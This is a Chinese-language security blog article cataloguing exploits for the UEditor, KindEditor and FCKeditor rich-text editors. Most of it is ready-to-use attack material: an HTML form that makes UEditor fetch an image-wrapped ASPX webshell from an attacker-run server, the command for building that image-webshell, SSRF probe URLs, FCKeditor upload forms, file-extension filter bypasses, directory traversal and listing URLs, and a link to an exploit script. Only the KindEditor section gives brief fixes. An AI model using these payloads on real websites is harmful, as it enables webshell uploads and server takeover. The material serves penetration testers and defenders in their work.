长亭百川云 - 文章详情

富文本编辑器漏洞整理

Ax

54

2024-07-04

**声明:**该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!

一、UEditor

UEditor是由百度web前端研发部开发所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点。

.net版本文件上传漏洞‍‍‍‍‍‍‍‍‍

Ueditor编辑器.net版本存在任意文件上传漏洞,攻击者可精心构造环境上传文件,获取服务器管理权限。

影响范围:

UEditor V1.4.3.3

验证漏洞

访问:/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

显示如下图所示,说明存在漏洞‍‍‍‍‍‍‍

漏洞利用

1、可以使用post方式直接上传文件到目标网站

<form action="http://IP:port/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit"/>
</form>

生成图片马‍

copy normal.jpg/b+shell.aspx/a shell.jpg

打开web服务

python -m SimpleHTTPServer 8888

在shelladdr中输入地址(两种方式)‍‍‍

http://XXXX:8888/shell.jpg?.aspx
http://XXXX:8888/shell.jpg#.aspx

2、上传成功

3、小马地址:

http://ip:port/ueditor/net/upload/image/20201127/6374211044232448561123135.asp

4、连接到pony

SSRF‍‍‍‍

影响范围:

UEditor V1.4.3

exp

该版本的SSRF触发点:

/jsp/controller.jsp?action=catchimage&source[]=
/jsp/getRemoteImage.jsp?upfile=
/php/controller.php?action=catchimage&source[]=

所以可以构造出

http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png。

更多PoC:

/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg
/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

通过修改 source 参数,能够探查内网相关端口。有道翻译网站出过 SSRF 问题,导致内网内容可被直接访问。

提交后的返回信息很容易判断,只要 state 出现 Unicode 编码,那必然是失败了(用中文提示如何如何失败)。

二、kindEditor

KindEditor是一套开源的HTML可视化编辑器,使用JavaScript编写,支持**asp****、aspxphp、**jsp,几乎支持了所有的网站,该编辑器主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器,非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用。

文件上传漏洞

漏洞描述

该编辑器支持上传功能,如果上传文件类型控制的不好,那么就能利用该漏洞上传恶意文件。

漏洞影响版本

kindeditor<=4.1.1

漏洞利用

访问如下路径判断是否有漏洞

kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file

点击上传文件选中html文件即可

上传成功后返回地址,访问即可

漏洞修复

1. 删除;即在不影响业务的情况下删除Kindeditor对应文件夹下删除upload_json和file_manager_json.

2. 修改;如果该功能还需使用,可修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、html、_htm_等文件类型,同时也要修改file_manager_json和upload_json两个文件名称,这样攻击者找不到对应的漏洞上传路径,就无法成功上传具有危害的文件了,最好修补方案还是删除upload_json和file_manager_json

3. 升级kindeditor到最新版本,其它方法有增加白_/_黑名单控制上传文件类型

三、FCKeditor漏洞总结

查看编辑器版本

FCKeditor/_whatsnew.html

1. Version 2.2 版本

   Apache+linux 环境下在上传文件后面加个.突破!测试通过。

2. Version <=2.4.2 For php

   在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!

将以下保存为html文件,修改action地址。

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

3.FCKeditor 文件上传“.”变“_”下划线的绕过方法

很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。

(1)提交shell.php+空格绕过,不过空格只支持win 系统 *nix 是不支持的,[shell.php 和shell.php+空格是2个不同的文件未测试。

(2)继续上传同名文件可变为shell.php;(1).jpg ,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。

4、突破建立文件夹

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

5、FCKeditor中test文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

6、常用上传地址

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.aspCommand=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

7、其他上传地址

FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp

 一般很多站点都已删除_samples 目录,可以试试。

FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。

8、列目录漏洞也可助找上传地址

   Version 2.4.1 测试通过修改CurrentFolder参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..
/&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接浏览盘符:

JSP版本:

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

9、爆路径漏洞

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

10、FCKeditor 被动限制策略所导致的过滤不严问题

影响版本

FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述

FCKeditor V2.4.3中File类别默认拒绝上传类型:

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

FCKeditor 2.0<=2.2允许上传的文件类型:‍

asa、cer、php2、php4、inc、pwml、pht

文件上传后它保存的文件直接用的**$sFilePath = $sServerDir . $sFileName**,而没有使用**$sExtension为后缀.直接导致在win下在上传文件后面加个.来突破[未测试]!,而在apache下,因为Apache 文件名解析缺陷漏洞也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!**

11、最古老的漏洞,Type文件没有限制!

我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx的类型没有检查。我们可以直接构造上传把type=Image改成Type=hsren这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!

FCK编辑器jsp版本漏洞:

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

上传马所在目录:

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

上传shell的地址:

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

跟版本有关系,并不是百分百成功, 测试成功几个站,不能通杀,很遗憾。‍

http://www..com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector

如果以上地址不行可以试试

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
FCKeditor/_samples/
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

12、文件上传利用脚本

影响版本:‍‍‍

fckeditor<=2.4.3

项目地址:https://github.com/shengshengli/FCKeditor-2.4.3--exp

关注我们

公众号回复“2024Hw应急工具”获取Hw应急工具集

公众号回复“简历模板”获取Hw简历模版

公众号回复“2024面经大全”获取全套面经以及回答思路

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2